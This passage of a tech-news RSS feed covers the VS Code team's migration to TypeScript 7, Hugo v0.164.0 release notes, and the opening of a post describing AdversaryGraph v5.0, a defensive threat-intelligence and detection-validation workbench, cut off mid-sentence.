<p>The <a href="https://code.visualstudio.com/blogs/2026/06/26/iterating-faster-with-ts-7" data-type="link" data-id="https://code.visualstudio.com/blogs/2026/06/26/iterating-faster-with-ts-7">VS Code team published a long blog post</a> detailing how it has been working with the Go-based TypeScript. The team is both helping to develop the language and beginning the process of moving its codebase to the newer, faster, native platform.</p>



<p>How the VS Code team migrated is a useful case study, one that can help you move your TypeScript development more efficiently and with minimal risk. The team began working with extensions, using daily builds of TypeScript to ensure that bugs and issues could be reported as they occurred and would only have a limited impact as fixes could be rolled out quickly. At the same time, the VS Code team began using a preview version of the TypeScript 7 extension for VS Code, which was being built around the new compiler in parallel with its development.</p>



<h2 class="wp-block-heading">Bridging development with TypeScript 6</h2>



<p>The development of <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/" data-type="link" data-id="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">TypeScript 6 as a bridge between TypeScript 5 and TypeScript 7</a> allowed the VS Code team to transition to code that targeted a newer version of ECMAScript and provided more powerful checks. By moving code from TypeScript 5 to TypeScript 6, developers could validate it with what would become TypeScript 7 language features and get speed and performance boosts while doing so (though nowhere near what TypeScript 7 promised). By completing this first migration of the VS Code codebase, it was possible for developers to be confident that they were ready to shift to the Go-based version when it shipped.</p>



<p>The parallel development of the new language server and extension ensured that by late 2025 it was possible for VS Code development to shift to TypeScript 7, with TypeScript 6 used as a fallback if there were any issues. Those cases could then be reported back to the TypeScript team and used to prioritize development.</p>



<p>As the platform evolved, the use cases for the VS Code team changed. By early 2026 TypeScript 7 was stable and nearly feature-complete, so the team began to use it to build all of their own built-in extensions. This allowed them to rethink their toolchain, changing the bundler from webpack to the one built into esbuild, giving them another speed up. Once that process was tested and working, they could switch all development to TypeScript 7.</p>



<p>Having such a big project take on TypeScript 7 early reaped big rewards, as the resulting virtuous cycle allowed both VS Code and TypeScript to move forward together, fixing issues as they arose and providing valuable feedback. The results speak for themselves. Type checking the entire VS Code codebase is now 7x faster, with most extensions checked in under a second. The only exception was <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>, which is almost as big as the editor itself, which type checked in 2.5 seconds.</p>



<p>Compilation has been sped up, dropping from 80 seconds to around 20 seconds. This may not seem a lot, but when you’re compiling and rebuilding and debugging, each change in your code now takes a lot less time. That improves developer productivity and ensures they stay in flow, rather than switching away to check email or Teams each time they start a new build. The same goes for using the language server, where loading the entire project (necessary for error detection and refactoring) now takes 10 seconds rather than a minute.</p>



<p>Lots of little time savings like this add up across a big project and a large team, helping developers stay focused and able to solve problems more effectively. The VS Code blog post notes that it cuts down on coffee runs, which take longer than the load or build that inspire a quick cuppa!</p>



<h2 class="wp-block-heading">Getting ready for TypeScript 7 in your build pipeline</h2>



<p>Microsoft is quick to point out that, while the TypeScript 7.0 release will be production ready, TypeScript 7 won’t have a full programmatic API until the release of TypeScript 7.1. As this won’t be for some time, Microsoft is providing <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-rc/#running-side-by-side-with-typescript-6.0" data-type="link" data-id="https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-rc/#running-side-by-side-with-typescript-6.0">a way to run TypeScript 7 side-by-side with TypeScript 6</a>.</p>



<p>Installing the <code>@typescript/typescript6</code> compatibility package alongside TypeScript 7 adds a new executable, <code>tsc6</code>, that allows you to modify code that uses the TypeScript 5 API to run using TypeScript 6, by renaming the calls to <code>tsc</code> in your scripts to <code>tsc6</code>. This should allow you to keep building to the latest releases at the same time as starting to experiment with using the new runtime.</p>



<p>It’s not a perfect fix. You do need to do some work to implement npm aliases that allow linters and other low-level tools to work with both versions. You can also provide two different dependencies in your package.json to allow TypeScript 6 (<code>tsc6</code>) and TypeScript 7 (<code>tsc</code>) to run side-by-side. The result is a way to help migrate TypeScript code to the newer platform, delivering more efficient code that runs on a more modern ECMAScript in the meantime.</p>



<p>TypeScript 7 will be a big upgrade, though it has taken surprisingly little time to deliver. With users like the Visual Studio Code team already building on the new release, it’s clear that beginning your own migration should be easier than you might have thought.</p>



<p>The final release is due sometime in July 2026. If you haven’t started looking at TypeScript 7, now is the time to start.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.164.0]]></title>
<description><![CDATA[Notes

tpl/resources: Deprecate resources.PostProcess in favour of templates.Defer 29ed932 @bep #15086

Changes

all: Rewrite deprecated constructs in tests 5a5f4a5 @bep
tpl/tplimpl: Support sub paths in layouts passed to .Render d83ce27 @bep #15056
Add markup.rst.syntaxHighlight option c6acc24 @...]]></description>
<link>https://tsecurity.de/de/3649553/downloads/v01640/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649553/downloads/v01640/</guid>
<pubDate>Mon, 06 Jul 2026 20:02:43 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Notes</h2>
<ul>
<li>tpl/resources: Deprecate resources.PostProcess in favour of templates.Defer <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/29ed93251312029ecf8cc51d0514a7c64895dce5/hovercard" href="https://github.com/gohugoio/hugo/commit/29ed93251312029ecf8cc51d0514a7c64895dce5"><tt>29ed932</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808534793" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15086" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/15086/hovercard" href="https://github.com/gohugoio/hugo/issues/15086">#15086</a></li>
</ul>
<h2>Changes</h2>
<ul>
<li>all: Rewrite deprecated constructs in tests <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/5a5f4a54952261fd3e28fda1a22128990e6bfdc6/hovercard" href="https://github.com/gohugoio/hugo/commit/5a5f4a54952261fd3e28fda1a22128990e6bfdc6"><tt>5a5f4a5</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>tpl/tplimpl: Support sub paths in layouts passed to .Render <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/d83ce27ae01f992bbb86a338f6b599af35c33f9e/hovercard" href="https://github.com/gohugoio/hugo/commit/d83ce27ae01f992bbb86a338f6b599af35c33f9e"><tt>d83ce27</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4722577029" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15056" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/15056/hovercard" href="https://github.com/gohugoio/hugo/issues/15056">#15056</a></li>
<li>Add markup.rst.syntaxHighlight option <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/c6acc246ab10df02f1655c226a1313a3a1d9cc81/hovercard" href="https://github.com/gohugoio/hugo/commit/c6acc246ab10df02f1655c226a1313a3a1d9cc81"><tt>c6acc24</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="373475864" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/5349" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/5349/hovercard" href="https://github.com/gohugoio/hugo/issues/5349">#5349</a></li>
<li>tpl/resources: Deprecate resources.PostProcess in favour of templates.Defer <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/29ed93251312029ecf8cc51d0514a7c64895dce5/hovercard" href="https://github.com/gohugoio/hugo/commit/29ed93251312029ecf8cc51d0514a7c64895dce5"><tt>29ed932</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808534793" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15086" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/15086/hovercard" href="https://github.com/gohugoio/hugo/issues/15086">#15086</a></li>
<li>tpl/collections: Include key in IsSet unsupported-type warning <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/671897ae918f4315dcaa36b3ff7431a14db5433b/hovercard" href="https://github.com/gohugoio/hugo/commit/671897ae918f4315dcaa36b3ff7431a14db5433b"><tt>671897a</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bejaratommy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bejaratommy">@bejaratommy</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2037231732" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/11794" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/11794/hovercard" href="https://github.com/gohugoio/hugo/issues/11794">#11794</a></li>
<li>create: Keep new content placeholders buildable <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/499794d19e306b490676306a89fc43668bfe1c4f/hovercard" href="https://github.com/gohugoio/hugo/commit/499794d19e306b490676306a89fc43668bfe1c4f"><tt>499794d</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjh9714/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjh9714">@sjh9714</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4799377216" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15078" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/15078/hovercard" href="https://github.com/gohugoio/hugo/issues/15078">#15078</a></li>
<li>hugio: Speedup hasBytesWriter <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/65c82178b77dc0e0bfef9816c651be3567a983b7/hovercard" href="https://github.com/gohugoio/hugo/commit/65c82178b77dc0e0bfef9816c651be3567a983b7"><tt>65c8217</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>tpl/crypto: Add crypto.Hash <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/dfb35dcd7a9ab9a6d8b6c0829c312f2e4d5f8b0d/hovercard" href="https://github.com/gohugoio/hugo/commit/dfb35dcd7a9ab9a6d8b6c0829c312f2e4d5f8b0d"><tt>dfb35dc</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4763470733" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15072" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/15072/hovercard" href="https://github.com/gohugoio/hugo/issues/15072">#15072</a></li>
<li>Add encoding.HexDecode/Encode <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a5ec54239312c160b82e303f159c4bdb2e030ab5/hovercard" href="https://github.com/gohugoio/hugo/commit/a5ec54239312c160b82e303f159c4bdb2e030ab5"><tt>a5ec542</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759205811" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15068" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/15068/hovercard" href="https://github.com/gohugoio/hugo/issues/15068">#15068</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4731332136" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15060" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/15060/hovercard" href="https://github.com/gohugoio/hugo/issues/15060">#15060</a></li>
<li>tpl/tplimpl: Make template name lookup case-insensitive <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/e46d37a984db2efe1d4798c9fe79a6ec46365fdd/hovercard" href="https://github.com/gohugoio/hugo/commit/e46d37a984db2efe1d4798c9fe79a6ec46365fdd"><tt>e46d37a</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727372960" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15057" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/15057/hovercard" href="https://github.com/gohugoio/hugo/issues/15057">#15057</a></li>
<li>hugolib: Return error from .Render when template not found <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/fe067352140496afbb144206f33a47cad119709d/hovercard" href="https://github.com/gohugoio/hugo/commit/fe067352140496afbb144206f33a47cad119709d"><tt>fe06735</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718798071" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15052" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/15052/hovercard" href="https://github.com/gohugoio/hugo/issues/15052">#15052</a></li>
</ul>
<h2>Dependency Updates</h2>
<ul>
<li>build(deps): bump github.com/JohannesKaufmann/html-to-markdown/v2 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/921db7b52c6aff737d308ff298cd2841ad4037e6/hovercard" href="https://github.com/gohugoio/hugo/commit/921db7b52c6aff737d308ff298cd2841ad4037e6"><tt>921db7b</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump golang.org/x/tools from 0.45.0 to 0.47.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/786ce71e59ac3f99ff9069711c62bc7dfde3731a/hovercard" href="https://github.com/gohugoio/hugo/commit/786ce71e59ac3f99ff9069711c62bc7dfde3731a"><tt>786ce71</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump golang.org/x/image from 0.42.0 to 0.43.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/5ad28461618c49b46f143c61a30946961e6673b7/hovercard" href="https://github.com/gohugoio/hugo/commit/5ad28461618c49b46f143c61a30946961e6673b7"><tt>5ad2846</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump golang.org/x/net from 0.55.0 to 0.56.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/36ad9f583af1565b0945cabcc1e82cca80bf0ce5/hovercard" href="https://github.com/gohugoio/hugo/commit/36ad9f583af1565b0945cabcc1e82cca80bf0ce5"><tt>36ad9f5</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/pelletier/go-toml/v2 from 2.4.2 to 2.4.3 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/7c0a0bc97983b106e76cd58e0771bd9324af33bd/hovercard" href="https://github.com/gohugoio/hugo/commit/7c0a0bc97983b106e76cd58e0771bd9324af33bd"><tt>7c0a0bc</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/getkin/kin-openapi from 0.139.0 to 0.140.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a879ebfaaa08c784855b0f03eca0b5579034074a/hovercard" href="https://github.com/gohugoio/hugo/commit/a879ebfaaa08c784855b0f03eca0b5579034074a"><tt>a879ebf</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump golang.org/x/mod from 0.36.0 to 0.37.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/332d5ec823f60510314e8bdddbefff6df189ea16/hovercard" href="https://github.com/gohugoio/hugo/commit/332d5ec823f60510314e8bdddbefff6df189ea16"><tt>332d5ec</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/pelletier/go-toml/v2 from 2.3.1 to 2.4.2 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/212cc11adae1deafc014b6356f8a71ecda1f277e/hovercard" href="https://github.com/gohugoio/hugo/commit/212cc11adae1deafc014b6356f8a71ecda1f277e"><tt>212cc11</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>deps: Upgrade github.com/evanw/esbuild v0.28.0 =&gt; v0.28.1 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/884439b9a21dfbc4ac28e8534ef3764d04db0ab3/hovercard" href="https://github.com/gohugoio/hugo/commit/884439b9a21dfbc4ac28e8534ef3764d04db0ab3"><tt>884439b</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647621217" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15033" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/15033/hovercard" href="https://github.com/gohugoio/hugo/pull/15033">#15033</a></li>
<li>deps: Add Chroma dark/light mode support <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/790a8aa47412bf32c297250f949cb1fd811a0fbf/hovercard" href="https://github.com/gohugoio/hugo/commit/790a8aa47412bf32c297250f949cb1fd811a0fbf"><tt>790a8aa</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4620263454" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15017" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/15017/hovercard" href="https://github.com/gohugoio/hugo/pull/15017">#15017</a></li>
</ul>
<h2>Documentation</h2>
<ul>
<li>markup/pandoc: Add citation support <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/128fb17c2b1fd29bbfbce868af1813ad35d31b2a/hovercard" href="https://github.com/gohugoio/hugo/commit/128fb17c2b1fd29bbfbce868af1813ad35d31b2a"><tt>128fb17</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736517776" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/15062" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/15062/hovercard" href="https://github.com/gohugoio/hugo/issues/15062">#15062</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation]]></title>
<description><![CDATA[A self-hosted CTI-to-detection workbench for ATT&CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.IntroductionAdversaryGraph started as a practical question:How can a security team move from threat intelligence ...]]></description>
<link>https://tsecurity.de/de/3646308/hacking/adversarygraph-v50-from-cti-mapping-to-attack-simulation-and-siem-validation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646308/hacking/adversarygraph-v50-from-cti-mapping-to-attack-simulation-and-siem-validation/</guid>
<pubDate>Sun, 05 Jul 2026 08:22:34 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>A self-hosted CTI-to-detection workbench for ATT&amp;CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pE4s-eX1wFWMUOsnozr16w.png"></figure><h3>Introduction</h3><p>AdversaryGraph started as a practical question:</p><p><strong>How can a security team move from threat intelligence to detection engineering without losing the evidence trail?</strong></p><p>Most CTI workflows produce useful text, but the next steps are often manual. An analyst reads a report, extracts behaviors, maps them to MITRE ATT&amp;CK, compares them with known actors, enriches IOCs, writes detection ideas, and then asks a detection engineer to validate whether telemetry actually exists in the SIEM.</p><p>That gap is where a lot of defensive work slows down.</p><p>AdversaryGraph v5.0 is my attempt to make that workflow more operational. It is not only a CTI visualization project. It is a self-hosted analyst workbench that connects:</p><ul><li><strong>Report and telemetry analysis.</strong></li><li><strong>ATT&amp;CK technique mapping.</strong></li><li><strong>Group, campaign, and report similarity.</strong></li><li><strong>IOC enrichment and investigation.</strong></li><li><strong>Malware analysis workflows.</strong></li><li><strong>Asset attack-surface mapping.</strong></li><li><strong>Attack simulation.</strong></li><li><strong>SIEM forwarding and validation.</strong></li><li><strong>Analyst-ready documentation and reports.</strong></li></ul><p>The main addition in release 5.0 is <strong>Attack Simulation</strong>: a controlled ATT&amp;CK validation workspace where an analyst can select a technique, run approved lab scenarios, inspect target-side telemetry, forward logs to a SIEM collector, and use an AI assistant to generate coherent multi-phase attack-chain drills.</p><p>This article explains what is new in v5.0, how the architecture works, what the platform can do today, and how I expect analysts and detection engineers to use it.</p><p>Project links:</p><ul><li>Project landing page: <a href="https://1200km.com/adversarygraph/">https://1200km.com/adversarygraph/</a></li><li>Documentation: <a href="https://1200km.com/adversarygraph-docs/">https://1200km.com/adversarygraph-docs/</a></li><li>GitHub: <a href="https://github.com/anpa1200/adversarygraph">https://github.com/anpa1200/adversarygraph</a></li><li>Release v5.0.0: <a href="https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0">https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0</a></li></ul><h3>Table of Contents</h3><ul><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e399"><strong>Getting Started</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cea9"><strong>The Problem: CTI Often Stops Before Validation</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#dfa8"><strong>What AdversaryGraph Is</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cb81"><strong>Core Capabilities Before v5.0</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#873f"><strong>What Is New in v5.0</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#bca9"><strong>TTP-First Simulation Workflow</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#b2a4"><strong>Real Lab Telemetry for Web Scenarios</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#251c"><strong>SIEM Forwarding</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#a5cc"><strong>AI Attack Assistant</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#3d3e"><strong>Coherent Kill Chains, Not Random Events</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#2f06"><strong>Explain Attack</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#f317"><strong>Named Scenario Library</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#144f"><strong>Safety Boundaries</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cd7c"><strong>How This Fits Detection Engineering</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e7d0"><strong>Architecture Overview</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#6252"><strong>Example Use Case: Password Spray Detection</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#231b"><strong>Example Use Case: Web Recon to Exploit-Shaped Telemetry</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#8a5c"><strong>Example Use Case: Malware Findings to Detection Validation</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#dbfb"><strong>Example Use Case: Asset Inventory to Attack Surface</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#8e80"><strong>What This Release Is Not</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#ff3a"><strong>What Makes v5.0 Different</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e399"><strong>Getting Started</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#22f6"><strong>Final Thoughts</strong></a></li></ul><h3>The Problem: CTI Often Stops Before Validation</h3><p>A typical CTI-to-detection workflow looks like this:</p><ol><li>Read an external report, internal incident report, malware note, or intelligence summary.</li><li>Extract behaviors: PowerShell, scheduled tasks, credential dumping, public-facing application exploitation, exfiltration, persistence, discovery, and so on.</li><li>Map those behaviors to MITRE ATT&amp;CK.</li><li>Compare them with known actor and campaign profiles.</li><li>Identify relevant IOCs.</li><li>Write hunting hypotheses and detection logic.</li><li>Ask whether the SIEM actually receives the required telemetry.</li><li>Test rules with sample logs, lab traffic, or purple-team activity.</li></ol><p>The hard part is not just mapping. The hard part is preserving the chain from <strong>evidence</strong> to <strong>technique</strong> to <strong>telemetry</strong> to <strong>detection validation</strong>.</p><p>If the SIEM parser is broken, the detection will not fire.</p><p>If the event structure 